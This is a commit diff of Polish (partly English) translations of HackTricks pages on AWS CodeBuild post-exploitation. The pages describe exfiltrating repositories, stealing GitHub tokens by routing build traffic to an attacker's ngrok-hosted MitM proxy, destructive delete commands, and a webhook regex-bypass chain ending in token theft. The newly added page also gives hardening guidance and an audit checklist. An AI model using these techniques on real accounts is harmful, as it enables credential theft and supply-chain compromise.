Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

2026-07-28 22:51:09 -07:00 · 2026-02-03 12:50:39 +00:00
parent a443da0fe5
commit 644df7f870
3 changed files with 299 additions and 65 deletions
@@ -10,37 +10,37 @@ Aby uzyskać więcej informacji, sprawdź:
 ../../aws-services/aws-codebuild-enum.md
 {{#endref}}

-### Sprawdź Sekrety
+### Sprawdź sekrety

-Jeśli dane uwierzytelniające zostały ustawione w Codebuild w celu połączenia z Github, Gitlab lub Bitbucket w formie tokenów osobistych, haseł lub dostępu za pomocą tokena OAuth, te **dane uwierzytelniające będą przechowywane jako sekrety w menedżerze sekretów**.\
-Dlatego, jeśli masz dostęp do odczytu menedżera sekretów, będziesz mógł uzyskać te sekrety i przejść do połączonej platformy.
+If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
+Dlatego, jeśli masz dostęp do odczytu secret manager, będziesz w stanie pobrać te sekrety i pivotować do podłączonej platformy.

 {{#ref}}
 ../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
 {{#endref}}

-### Nadużycie Dostępu do Repozytoriów CodeBuild
+### Abuse CodeBuild Repo Access

-Aby skonfigurować **CodeBuild**, będzie potrzebny **dostęp do repozytorium kodu**, które będzie używane. Kilka platform może hostować ten kod:
+Aby skonfigurować **CodeBuild**, będzie potrzebować **dostępu do repozytorium z kodem**, którego będzie używać. Kilka platform może hostować ten kod:

 <figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>

-**Projekt CodeBuild musi mieć dostęp** do skonfigurowanego dostawcy źródła, albo za pomocą **roli IAM**, albo z użyciem **tokena github/bitbucket lub dostępu OAuth**.
+The **CodeBuild project must have access** to the configured source provider, either via **IAM role** or with a github/bitbucket **token or OAuth access**.

-Atakujący z **podwyższonymi uprawnieniami w CodeBuild** mógłby nadużyć tego skonfigurowanego dostępu, aby wyciekł kod skonfigurowanego repozytorium i innych, do których ustawione dane uwierzytelniające mają dostęp.\
-Aby to zrobić, atakujący musiałby po prostu **zmienić adres URL repozytorium na każde repozytorium, do którego mają dostęp skonfigurowane dane uwierzytelniające** (zauważ, że strona aws wyświetli wszystkie z nich):
+An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
+Aby to zrobić, atakujący musiałby jedynie **change the repository URL to each repo the config credentials have access** (zauważ, że aws web wyświetli je wszystkie dla Ciebie):

 <figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>

-I **zmienić polecenia Buildspec, aby wyeksportować każde repozytorium**.
+And **change the Buildspec commands to exfiltrate each repo**.

 > [!WARNING]
-> Jednak to **zadanie jest powtarzalne i nużące** i jeśli token github został skonfigurowany z **uprawnieniami do zapisu**, atakujący **nie będzie mógł (nadużyć) tych uprawnień**, ponieważ nie ma dostępu do tokena.\
-> A może ma? Sprawdź następny rozdział
+> Jednakże, to **zadanie jest powtarzalne i żmudne** i jeśli github token został skonfigurowany z **write permissions**, atakujący **won't be able to (ab)use those permissions** ponieważ nie ma dostępu do tokena.\
+> Or does he? Check the next section

-### Wyciek Tokenów Dostępu z AWS CodeBuild
+### Leaking Access Tokens from AWS CodeBuild

-Możesz wyciekować dostęp przyznany w CodeBuild do platform takich jak Github. Sprawdź, czy jakikolwiek dostęp do zewnętrznych platform został przyznany za pomocą:
+You can leak access given in CodeBuild to platforms like Github. Sprawdź, czy przydzielono jakikolwiek dostęp do zewnętrznych platform za pomocą:
 ```bash
 aws codebuild list-source-credentials
 ```
@@ -48,29 +48,37 @@ aws codebuild list-source-credentials
 aws-codebuild-token-leakage.md
 {{#endref}}

+### Wykonanie nieautoryzowanego PR przez błędną konfigurację filtrów webhook
+
+Jeśli filtry webhook są słabe, zewnętrzni atakujący mogą doprowadzić do zbudowania swoich PR-ów w uprzywilejowanych projektach CodeBuild, a następnie wykonać dowolny kod w CI.
+
+{{#ref}}
+aws-codebuild-untrusted-pr-webhook-bypass.md
+{{#endref}}
+
 ### `codebuild:DeleteProject`

-Atakujący mógłby usunąć cały projekt CodeBuild, co spowodowałoby utratę konfiguracji projektu i wpłynęło na aplikacje polegające na tym projekcie.
+Atakujący może usunąć cały projekt CodeBuild, powodując utratę konfiguracji projektu i wpływając na aplikacje, które na nim polegają.
 ```bash
 aws codebuild delete-project --name <value>
 ```
-**Potencjalny wpływ**: Utrata konfiguracji projektu i zakłócenie działania aplikacji korzystających z usuniętego projektu.
+**Potencjalny wpływ**: Utrata konfiguracji projektu i zakłócenie działania usług dla aplikacji korzystających z usuniętego projektu.

 ### `codebuild:TagResource` , `codebuild:UntagResource`

-Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CodeBuild, zakłócając alokację kosztów w organizacji, śledzenie zasobów oraz polityki kontroli dostępu oparte na tagach.
+Atakujący mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CodeBuild, zakłócając alokację kosztów w Twojej organizacji, śledzenie zasobów oraz polityki kontroli dostępu oparte na tagach.
 ```bash
 aws codebuild tag-resource --resource-arn <value> --tags <value>
 aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
 ```
-**Potencjalny wpływ**: Zakłócenie alokacji kosztów, śledzenia zasobów i polityk kontroli dostępu opartych na tagach.
+**Potencjalny wpływ**: Zakłócenie alokacji kosztów, śledzenia zasobów oraz polityk kontroli dostępu opartych na tagach.

 ### `codebuild:DeleteSourceCredentials`

-Napastnik mógłby usunąć poświadczenia źródłowe dla repozytorium Git, co wpłynęłoby na normalne funkcjonowanie aplikacji polegających na tym repozytorium.
+Atakujący mógłby usunąć poświadczenia źródłowe dla repozytorium Git, wpływając na prawidłowe działanie aplikacji zależnych od tego repozytorium.
 ```sql
 aws codebuild delete-source-credentials --arn <value>
 ```
-**Potencjalny wpływ**: Zakłócenie normalnego funkcjonowania aplikacji polegających na dotkniętym repozytorium z powodu usunięcia poświadczeń źródłowych.
+**Potencjalny wpływ**: Zakłócenie normalnego działania aplikacji korzystających z dotkniętego repozytorium z powodu usunięcia poświadczeń źródłowych.

 {{#include ../../../../banners/hacktricks-training.md}}
@@ -2,39 +2,39 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-## Odzyskiwanie skonfigurowanych tokenów Github/Bitbucket
+## Recover Github/Bitbucket Configured Tokens

-Najpierw sprawdź, czy istnieją skonfigurowane poświadczenia źródła, które możesz leak:
+Najpierw sprawdź, czy są skonfigurowane jakieś poświadczenia źródłowe, które możesz leak:
 ```bash
 aws codebuild list-source-credentials
 ```
-### Za pomocą Docker Image
+### Przez Docker Image

-Jeśli stwierdzisz, że uwierzytelnienie, np. do Github, jest ustawione w koncie, możesz **exfiltrate** to **access** (**GH token lub OAuth token**) poprzez spowodowanie, że Codebuild będzie **używać określonej Docker image** do uruchomienia buildu projektu.
+Jeśli stwierdzisz, że w koncie skonfigurowane jest uwierzytelnienie np. do Github, możesz **exfiltrate** ten **access** (**GH token or OAuth token**) zmuszając Codebuild do **use an specific docker image** do uruchomienia builda projektu.

-W tym celu możesz **utworzyć nowy Codebuild project** lub zmienić **environment** istniejącego, aby ustawić **Docker image**.
+W tym celu możesz **create a new Codebuild project** lub zmienić **environment** istniejącego, aby ustawić **Docker image**.

-Obraz Docker, którego możesz użyć, to [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). To bardzo podstawowy Docker image, który ustawi **zmienne środowiskowe `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Pozwoli to na przechwycenie większości ruchu hosta wskazanego w **`https_proxy`** i **`http_proxy`** oraz zaufanie certyfikatowi SSL wskazanemu w **`SSL_CERT_FILE`**.
+Docker image, którego możesz użyć, to [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). To bardzo podstawowy Docker image, który ustawi **env variables `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Pozwoli to przechwycić większość ruchu hosta wskazanego w **`https_proxy`** i **`http_proxy`** oraz zaufać certyfikatowi SSL wskazanemu w **`SSL_CERT_FILE`**.

-1. **Utwórz i prześlij własny Docker MitM image**
- Postępuj zgodnie z instrukcjami w repo, aby ustawić adres IP proxy i certyfikat SSL oraz **build the docker image**.
- **DO NOT SET `http_proxy`** aby nie przechwytywać żądań do metadata endpoint.
- Możesz użyć **`ngrok`** jak `ngrok tcp 4444`, aby ustawić proxy na swoim hoście
- Gdy obraz Docker będzie zbudowany, **prześlij go do publicznego repo** (Dockerhub, ECR...)
-2. **Ustaw environment**
- Utwórz **nowy Codebuild project** lub **zmodyfikuj** environment istniejącego.
- Skonfiguruj projekt, aby używał **wcześniej wygenerowanego Docker image**
+1. **Create & Upload your own Docker MitM image**
+- Postępuj zgodnie z instrukcjami w repo, aby ustawić adres IP proxy, skonfigurować certyfikat SSL i **build the docker image**.
+- **DO NOT SET `http_proxy`** — aby nie przechwytywać żądań do metadata endpoint.
+- Możesz użyć **`ngrok`**, np. `ngrok tcp 4444`, aby ustawić proxy na swój host.
+- Gdy obraz Docker będzie zbudowany, **upload it to a public repo** (Dockerhub, ECR...)
+2. **Set the environment**
+- Utwórz **new Codebuild project** lub **modify** environment istniejącego.
+- Ustaw projekt, aby używał **previously generated Docker image**

 <figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>

-3. **Ustaw MitM proxy na swoim hoście**
+3. **Set the MitM proxy in your host**

- Jak wskazano w **Github repo** możesz użyć czegoś takiego:
+- Jak wskazano w **Github repo**, możesz użyć czegoś takiego:
 ```bash
 mitmproxy --listen-port 4444  --allow-hosts "github.com"
 ```
 > [!TIP]
-> Użyto **mitmproxy version used was 9.0.1**, zgłoszono, że w wersji 10 może to nie działać.
+> **Użyta wersja mitmproxy to 9.0.1**, zgłoszono, że w wersji 10 może to nie działać.

 4. **Uruchom build & przechwyć poświadczenia**

@@ -42,7 +42,7 @@ mitmproxy --listen-port 4444  --allow-hosts "github.com"

 <figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>

-To można też zrobić z poziomu aws cli przy użyciu czegoś takiego
+Można to również zrobić z aws cli przy użyciu czegoś takiego
 ```bash
 # Create project using a Github connection
 aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
 # Start the build
 aws codebuild start-build --project-name my-project2
 ```
-### Za pomocą insecureSSL
+### Poprzez insecureSSL

-**Codebuild** projects mają ustawienie o nazwie **`insecureSsl`**, które jest ukryte w interfejsie webowym i można je zmienić tylko przez API.\
-Włączenie tego pozwala Codebuild połączyć się z repozytorium **bez weryfikacji certyfikatu** dostarczonego przez platformę.
+**Codebuild** projects mają ustawienie o nazwie **`insecureSsl`**, które jest ukryte w interfejsie webowym — można je zmienić tylko przez API.\
+Włączenie tego pozwala Codebuild na połączenie z repozytorium **bez sprawdzania certyfikatu** oferowanego przez platformę.

- Najpierw musisz wyenumerować aktualną konfigurację za pomocą czegoś takiego:
+- Najpierw musisz wyenumerować aktualną konfigurację poleceniem takim jak:
 ```bash
 aws codebuild batch-get-projects --name <proj-name>
 ```
- Następnie, korzystając ze zebranych informacji, możesz zaktualizować ustawienie projektu **`insecureSsl`** na **`True`**. Poniżej przykład mojej aktualizacji projektu — zwróć uwagę na **`insecureSsl=True`** na końcu (to jedyna rzecz, którą musisz zmienić w pobranej konfiguracji).
- Dodatkowo dodaj zmienne środowiskowe **http_proxy** oraz **https_proxy** wskazujące na twój tcp ngrok, np.:
+- Następnie, mając zebrane informacje, możesz zaktualizować ustawienie projektu **`insecureSsl`** na **`True`**. Poniżej przykład aktualizacji projektu — zwróć uwagę na **`insecureSsl=True`** na końcu (to jedyna rzecz, którą musisz zmienić w zebranej konfiguracji).
+- Dodatkowo dodaj też zmienne środowiskowe **http_proxy** i **https_proxy** wskazujące na twój tcp ngrok, np.:
 ```bash
 aws codebuild update-project --name <proj-name> \
 --source '{
@@ -128,17 +128,17 @@ certificate_authority = crypto.CertificateAuthority()
 )
 mitm.run()
 ```
- Na końcu kliknij na **Build the project**, **credentials** zostaną **sent in clear text** (base64) na port mitm:
+- Na koniec kliknij **Zbuduj projekt**, **poświadczenia** zostaną **wysłane w postaci jawnego tekstu** (base64) do portu mitm:

 <figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>

-### ~~Przez protokół HTTP~~
+### ~~Via HTTP protocol~~

-> [!TIP] > **Ta podatność została naprawiona przez AWS mniej więcej w tygodniu zaczynającym się 20 lutego 2023 (chyba w piątek). Więc atakujący nie mogą już jej nadużyć :)**
+> [!TIP] > **Ta podatność została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 (chyba w piątek). Więc atakujący nie może już jej wykorzystywać :)**

-Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógł leak the Github/Bitbucket token** skonfigurowany lub jeśli uprawnienia były skonfigurowane przez OAuth, **tymczasowy OAuth token używany do dostępu do kodu**.
+Atakujący z **podwyższonymi uprawnieniami w ramach CodeBuild może leak the Github/Bitbucket token** skonfigurowany lub, jeśli uprawnienia były skonfigurowane przez OAuth, **tymczasowy token OAuth używany do dostępu do kodu**.

- Atakujący mógłby dodać zmienne środowiskowe **http_proxy** i **https_proxy** do projektu CodeBuild wskazujące na jego maszynę (na przykład `http://5.tcp.eu.ngrok.io:14972`).
+- Atakujący może dodać zmienne środowiskowe **http_proxy** i **https_proxy** do projektu CodeBuild wskazując na swoją maszynę (na przykład `http://5.tcp.eu.ngrok.io:14972`).

 <figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>

@@ -158,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority()
 )
 mitm.run()
 ```
- Następnie kliknij **Build the project** lub uruchom build z wiersza poleceń:
+- Następnie kliknij **Build the project** lub uruchom build z linii poleceń:
 ```sh
 aws codebuild start-build --project-name <proj-name>
 ```
- W końcu **credentials** zostaną **wysłane w jawnej postaci** (base64) na port mitm:
+- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:

 <figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>

 > [!WARNING]
-> Teraz atakujący będzie mógł użyć tokena ze swojej maszyny, wylistować wszystkie uprawnienia jakie on ma i (nadużyć/wykorzystać) go łatwiej niż poprzez bezpośrednie użycie usługi CodeBuild.
+> Teraz atakujący będzie mógł użyć tokena ze swojej maszyny, wypisać wszystkie przywileje, które posiada, i (ab)use łatwiej niż używając usługi CodeBuild bezpośrednio.

-## Omijanie allowlisty regex ACTOR_ID w filtrach webhook (uprzywilejowane buildy wywoływane przez PR)
+## Untrusted PR execution via webhook filter misconfiguration

-Nieprawidłowo skonfigurowane webhooki CodeBuild GitHub, które używają niezakotwiczonych `ACTOR_ID` regexów, pozwalają *niezaufanym* PR na uruchamianie uprzywilejowanych buildów. Jeśli allowlist wygląda jak `123456|7890123` bez `^`/`$`, każdy ID zawierający któryś z tych podciągów będzie pasować. Ponieważ GitHub user IDs są sekwencyjne, atakujący może ścigać się, by zarejestrować „eclipsing” ID (superstring zaufanego ID) i wywołać build.
+Dla łańcucha obejścia webhook wyzwalanego PR (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), sprawdź:

-Exploit path
-
-1. Find public CodeBuild projects exposing webhook filters and extract an unanchored `ACTOR_ID` allowlist.
-2. Obtain an eclipsing GitHub ID:
- Sample the global ID counter by creating/deleting GitHub orgs (org IDs share the pool).
- Pre-stage many GitHub App manifest creations and fire the confirmation URLs when the counter is within ~100 IDs of the target to burst-register a bot ID containing the trusted substring.
-3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs.
-4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token.
-5. With the token’s `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets.
-
-## References
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
+{{#ref}}
+aws-codebuild-untrusted-pr-webhook-bypass.md
+{{#endref}}

 {{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,235 @@
+# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Ten wektor ataku występuje, gdy public-facing PR workflow jest powiązany z uprzywilejowanym CodeBuild project przy słabej kontroli webhooków.
+
+Jeśli zewnętrzny atakujący może spowodować, że CodeBuild wykona ich pull request, zazwyczaj uzyskuje arbitrary code execution inside the build (skrypty builda, hooki zależności, skrypty testowe itp.), a następnie pivotuje do sekretów, poświadczeń IAM lub poświadczeń dostawcy źródła.
+
+## Why this is dangerous
+
+Filtry webhooków CodeBuild są ewaluowane przy użyciu wzorców regex (dla filtrów innych niż `EVENT`). W filtrze `ACTOR_ACCOUNT_ID` słaby wzorzec może dopasować więcej użytkowników niż zamierzono.
+Jeśli niezaufane PR są budowane w projekcie, który ma uprzywilejowane uprawnienia roli AWS lub poświadczenia GitHub, może to prowadzić do pełnego kompromisu łańcucha dostaw.
+
+Wiz pokazał praktyczny łańcuch, gdzie:
+
+1. Whitelist aktorów webhooka używała **unanchored regex**.
+2. Atakujący zarejestrował GitHub ID, które dopasowywało się jako **superstring** zaufanego ID.
+3. Złośliwy PR wywołał CodeBuild.
+4. Wykorzystano wykonanie kodu w buildzie do zrzutu pamięci i odzyskania poświadczeń/tokens dostawcy źródła.
+
+## Misconfigurations that allow external PR code execution
+
+Poniżej wysokiego ryzyka błędy konfiguracji i jak atakujący je wykorzystują:
+
+1. **`EVENT` filters allow untrusted triggers**
+- Często ryzykowne zdarzenia: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
+- Inne zdarzenia, które też mogą stać się niebezpieczne, jeśli powiązane z uprzywilejowanymi buildami: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
+- Złe: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` w uprzywilejowanym projekcie.
+- Lepiej: używać akceptacji PR przez komentarz i minimalizować zdarzenia wyzwalające dla uprzywilejowanych projektów.
+- Nadużycie: atakujący otwiera/aktualizuje PR lub pushuje do gałęzi, którą kontroluje, i jego kod wykonuje się w CodeBuild.
+
+2. **`ACTOR_ACCOUNT_ID` regex is weak**
+- Złe: niezakotwiczone wzorce jak `123456|7890123`.
+- Lepiej: exact-match anchoring `^(123456|7890123)$`.
+- Nadużycie: nadmiarowe dopasowanie regex pozwala nieautoryzowanym GitHub ID przejść przez allowlistę.
+
+3. **Other regex filters are weak or missing**
+- `HEAD_REF`
+  - Złe: `refs/heads/.*`
+  - Lepiej: `^refs/heads/main$` (lub explicite lista zaufanych)
+- `BASE_REF`
+  - Złe: `.*`
+  - Lepiej: `^refs/heads/main$`
+- `FILE_PATH`
+  - Złe: brak ograniczeń ścieżek
+  - Lepiej: wykluczać ryzykowne pliki, np. `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$`
+- `COMMIT_MESSAGE`
+  - Złe: poleganie na marce zaufania z luźnym dopasowaniem jak `trusted`
+  - Lepiej: nie używać wiadomości commit jako granicy zaufania dla wykonania PR
+- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
+  - Złe: `.*` w webhookach org/global
+  - Lepiej: tylko dokładne dopasowania repo/org
+- `WORKFLOW_NAME`
+  - Złe: `.*`
+  - Lepiej: dokładne dopasowanie nazwy workflow (lub unikać tego jako mechanizmu kontroli zaufania)
+- Nadużycie: atakujący przygotowuje ref/path/message/repo context, który spełnia permisywne regexy i wyzwala buildy.
+
+4. **`excludeMatchedPattern` is misused**
+- Nieprawidłowe ustawienie tej flagi może odwrócić zamierzoną logikę.
+- Złe: `FILE_PATH '^buildspec\\.yml$'` z `excludeMatchedPattern=false` gdy intencją było zablokowanie edycji buildspec.
+- Lepiej: ten sam wzorzec z `excludeMatchedPattern=true` aby odmówić buildów dotykających `buildspec.yml`.
+- Nadużycie: obrońcy myślą, że zabraniają ryzykownych zdarzeń/ścieżek/aktorów, ale w rzeczywistości je zezwalają.
+
+5. **Multiple `filterGroups` create accidental bypasses**
+- CodeBuild ewaluował grupy jako OR (przejście jednej grupy wystarcza).
+- Złe: jedna restrykcyjna grupa + jedna permisywna grupa zapasowa (np. tylko `EVENT=PULL_REQUEST_UPDATED`).
+- Lepiej: usuń grupy zapasowe, które nie wymuszają ograniczeń aktora/ref/ścieżki.
+- Nadużycie: atakujący musi spełnić najsłabszą grupę.
+
+6. **Comment approval gate disabled or too permissive**
+- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` jest najmniej bezpieczne.
+- Zbyt szerokie role zatwierdzające redukują kontrolę.
+- Złe: `requiresCommentApproval=DISABLED`.
+- Lepiej: `ALL_PULL_REQUESTS` lub `FORK_PULL_REQUESTS` z minimalnymi rolami zatwierdzającymi.
+- Nadużycie: fork/drive-by PRy uruchamiają się automatycznie bez zatwierdzenia zaufanego maintenera.
+
+7. **No restrictive branch/path strategy for PR builds**
+- Brak defense-in-depth z `HEAD_REF` + `BASE_REF` + `FILE_PATH`.
+- Złe: tylko `EVENT` + `ACTOR_ACCOUNT_ID`, bez kontroli ref/path.
+- Lepiej: łączyć dokładne `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + ograniczenia `FILE_PATH`.
+- Nadużycie: atakujący modyfikuje wejścia builda (buildspec/CI/zależności) i uzyskuje arbitrary command execution.
+
+8. **Public visibility + status URL exposure**
+- Public build/check URLs ułatwiają atakującemu rekonesans i iteracyjne testy.
+- Złe: `projectVisibility=PUBLIC_READ` z wrażliwymi logami/konfigiem w publicznych buildach.
+- Lepiej: trzymaj projekty prywatne, chyba że istnieje silna potrzeba biznesowa, i sanitize'uj logi/artefakty.
+- Nadużycie: atakujący odkrywa wzorce/behawior projektu, a następnie dopracowuje payloady i próby bypassu.
+
+## Token leakage from memory
+
+Wiz's write-up wyjaśnia, że poświadczenia dostawcy źródła są obecne w kontekście runtime builda i mogą zostać skradzione po kompromisie builda (na przykład poprzez zrzut pamięci), umożliwiając przejęcie repozytorium jeśli zakresy są szerokie.
+
+AWS wprowadził hardening po ujawnieniu, ale główna lekcja pozostaje: **nigdy nie wykonuj niezaufanego kodu PR w uprzywilejowanych kontekstach builda** i zakładaj, że kod kontrolowany przez atakującego będzie próbował wykradać poświadczenia.
+
+Dla dodatkowych technik kradzieży poświadczeń w CodeBuild, sprawdź także:
+
+{{#ref}}
+aws-codebuild-token-leakage.md
+{{#endref}}
+
+## Finding CodeBuild URLs in GitHub PRs
+
+Jeśli CodeBuild raportuje commit status z powrotem do GitHub, URL builda CodeBuild zwykle pojawia się w:
+
+1. **PR page** -> zakładka **Checks** (lub linia statusu w Conversation/Commits).
+2. **Commit page** -> sekcja status/checks -> link **Details**.
+3. **PR commits list** -> kliknij kontekst check przypięty do commita.
+
+Dla publicznych projektów, ten link może ujawnić metadane/konfigurację builda nieautoryzowanym użytkownikom.
+
+<details>
+<summary>Script: detect CodeBuild URLs in a PR and test if they look public</summary>
+```bash
+#!/usr/bin/env bash
+set -euo pipefail
+
+# Usage:
+#   ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
+#
+# Requirements: gh, jq, curl
+
+OWNER="${1:?owner}"
+REPO="${2:?repo}"
+PR="${3:?pr_number}"
+
+for bin in gh jq curl timeout; do
+command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
+done
+
+tmp_commits="$(mktemp)"
+tmp_urls="$(mktemp)"
+trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
+
+gh_api() {
+timeout 20s gh api "$@" 2>/dev/null || true
+}
+
+# Get all commit SHAs in the PR (bounded call to avoid hangs)
+gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
+if [ ! -s "$tmp_commits" ]; then
+echo "[!] No commits found (or API call timed out/failed)." >&2
+exit 1
+fi
+
+echo "[*] PR commits:"
+cat "$tmp_commits"
+echo
+
+echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
+
+while IFS= read -r sha; do
+[ -z "$sha" ] && continue
+
+# Classic commit statuses (target_url)
+gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
+--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
+
+# GitHub Checks API (details_url)
+gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
+--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
+done < "$tmp_commits" | sort -u > "$tmp_urls"
+
+grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
+
+echo
+echo "[*] Public-access heuristic:"
+echo "    - If URL redirects to signin.aws.amazon.com -> likely not public"
+echo "    - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
+echo
+
+cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
+if [ -z "$cb_urls" ]; then
+echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
+exit 0
+fi
+
+while IFS= read -r url; do
+[ -z "$url" ] && continue
+final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
+code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
+
+if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
+verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
+elif [ "$code" = "200" ]; then
+verdict="POTENTIALLY_PUBLIC"
+else
+verdict="UNKNOWN_CHECK_MANUALLY"
+fi
+
+printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
+done <<< "$cb_urls"
+```
+Przetestowano z:
+```bash
+bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
+```
+</details>
+
+## Szybka lista kontrolna audytu
+```bash
+# Enumerate projects
+aws codebuild list-projects
+
+# Inspect source/webhook configuration
+aws codebuild batch-get-projects --names <project-name>
+
+# Inspect global source credentials configured in account
+aws codebuild list-source-credentials
+```
+Sprawdź każdy projekt pod kątem:
+
+- `webhook.filterGroups` zawierające zdarzenia PR.
+- `ACTOR_ACCOUNT_ID` patterns that are not anchored with `^...$`.
+- `pullRequestBuildPolicy.requiresCommentApproval` równe `DISABLED`.
+- Brak ograniczeń gałęzi/ścieżki.
+- `serviceRole` o wysokich uprawnieniach.
+- Ryzykowny zakres i ponowne użycie poświadczeń źródła.
+
+## Wytyczne utwardzania
+
+1. Wymagaj zatwierdzenia komentarzem dla buildów PR (`ALL_PULL_REQUESTS` lub `FORK_PULL_REQUESTS`).
+2. Jeśli używasz allowlist aktorów, zakotwicz regexy i trzymaj je dokładne.
+3. Dodaj ograniczenia `FILE_PATH`, aby uniknąć niezaufanych modyfikacji `buildspec.yml` i skryptów CI.
+4. Oddziel zaufane release builds od niezaufanych PR builds do różnych projektów/rol.
+5. Używaj drobnoziarnistych, najmniej uprzywilejowanych tokenów dostawcy źródła (preferuj dedykowane tożsamości o niskich uprawnieniach).
+6. Nieustannie audytuj filtry webhook i użycie poświadczeń źródła.
+
+## Referencje
+
+- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
+- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
+- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
+- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}